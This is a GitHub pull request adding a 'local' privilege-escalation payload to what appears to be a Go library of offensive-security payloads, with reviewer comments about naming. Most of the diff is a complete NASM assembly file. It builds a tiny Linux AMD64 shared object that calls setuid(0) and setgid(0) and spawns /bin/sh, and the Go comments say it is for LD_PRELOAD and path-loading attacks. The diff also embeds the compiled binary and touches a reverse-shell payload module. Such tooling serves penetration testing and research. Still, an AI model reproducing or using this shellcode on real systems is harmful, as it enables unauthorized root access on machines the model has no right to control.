Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adds "local" payload type and privesclib #255

Open
wants to merge 2 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
16 changes: 16 additions & 0 deletions payload/local/local.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
// Local payloads that are used for privilege escalation or non-remote contexts.
//
// The local package contains a combination of embed code used for local privilege escalation and
// allows for the use in other attack patterns. Each payload is documented with what operating
// system and architecture it supports if necessary.
package local

type Local interface{}

// Defines default structures and payload functions.
type (
PrivEscLibraryPayload struct{}
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think my complaint is that PrivEscLib (and privesclib_amd64) are really generic names. Is that... ok? Like I can see a world where we want to do more of these right?

Copy link
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I was also quite torn on these, but that part is supposed to be generic. Since that's the type that gets functions defined from: ie the actual payload call in this is local.PrivEscLibrary.AMD64(). I think that keeping the top level struct type as broad is fine, but maybe the function signature should be something like LinuxSharedObjectAMD64() vs AMD64() or even have another type for OS and then keep the architecture?

I'm not sold on any of these as the best way to do it (I'm not even positive embedding binaries is a good idea period), so if you have any thoughts I'm happy to rearrange.

Copy link
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I do think that having something with the final signature of local.PrivEscLibrary.Linux.AMD64() would probably be fine and cover most the use cases while being specific enough to prevent confusion.... but I also hate all the dots lol. We could even do a local.PrivEscLibrary.LinuxSharedObjectAMD64(), but I fear the protocol signature explosion.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm not sold on any of these as the best way to do it (I'm not even positive embedding binaries is a good idea period), so if you have any thoughts I'm happy to rearrange.

🤣

I am also not positive. However, it's an interesting step forward and code can always be removed from the library. I'm not afraid to bump the major version :) I think maybe more experience using this part will inform us on how it should be improved. That's fine by me. Go ahead and merge when you are ready.

)

// Make the payload accessible via `local.PrivEscLibrary`.
var PrivEscLibrary = &PrivEscLibraryPayload{}
15 changes: 15 additions & 0 deletions payload/local/privesclib.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
//go:generate nasm -f bin -o privesclib_amd64 privesclib_amd64.asm
package local

import _ "embed"

//go:embed privesclib_amd64
var privEscSharedLibraryAMD64 []byte

// This payload contains a payload that generates a small Linux AMD64 shared object that will
// trigger setuid/setgid and then spawn a /bin/sh shell. This payload is used often for attacks such
// as incorrect path loading or LD_PRELOAD attacks. This specific implementation is minimized to be
// around 204 bytes compiled and uses `nasm`.
func (p *PrivEscLibraryPayload) AMD64() []byte {
return privEscSharedLibraryAMD64
}
Binary file added payload/local/privesclib_amd64
Binary file not shown.
59 changes: 59 additions & 0 deletions payload/local/privesclib_amd64.asm
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
; nasm -f bin -o privesclib_amd64 privesclib_amd64.asm
; Based on the PlaidCTF TeamRocket writeup: https://teamrocketist.github.io/2020/04/20/Misc-PCTF2020-golf-so/
BITS 64
org 0
ehdr:
db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0
dw 3 ; e_type = ET_DYN
dw 62 ; e_machine = EM_X86_64
dd 1 ; e_version = EV_CURRENT
dq _start ; e_entry = _start
dq phdr - $$ ; e_phoff
dd phdr - $$ ; e_shoff (chaged to phdr instead of shdr)
dq 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 2 ; e_phnum
ehdrsize equ $ - ehdr
phdr:
dd 1 ; p_type = PT_LOAD
dd 7 ; p_flags = rwx
dq 0 ; p_offset
dq $$ ; p_vaddr
dq $$ ; p_paddr
dq 0x68732f6e69622f ; p_filesz /bin/sh
dq 0xFFFFFFFF ; p_memsz arbitrary
dq 0x1000 ; p_align
phdrsize equ $ - phdr
dd 2 ; p_type = PT_DYNAMIC
dd 7 ; p_flags = rwx
dynsection:
; DT_STRTAB
dq 0x5 ; p_offset (OVERLAPPED)
dq dynsection ; p_vaddr
; DT_INIT
dq 0x0c
dq _start
; DT_SYMTAB
dq 0x06
dq _start
global _start
_start:
mov r15,rax ; setuid(0)
push 105
pop rax
xor edi, edi
syscall
push 106 ; setgid(0)
pop rax
syscall
mov rax,r15
lea rdi,[rax-0x50]
push 59
pop rax
push 0
push rdi
mov rsi,rsp
cdq
syscall
4 changes: 2 additions & 2 deletions payload/reverse/reverse.go
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,7 @@ type Reverse interface {

type Default interface{}

// Defines the default Bash struct and all associated payload functions.
// Defines the default structs and all associated payload functions for payload types.
type (
BashPayload struct{}
GJScriptPayload struct{}
Expand All @@ -39,7 +39,7 @@ type (
GroovyPayload struct{}
)

// Makes the Bash payloads accessible via `reverse.Bash`.
// Makes the payloads accessible via short names, such as `reverse.Bash`.
var (
Bash = &BashPayload{}
GJScript = &GJScriptPayload{}
Expand Down
Loading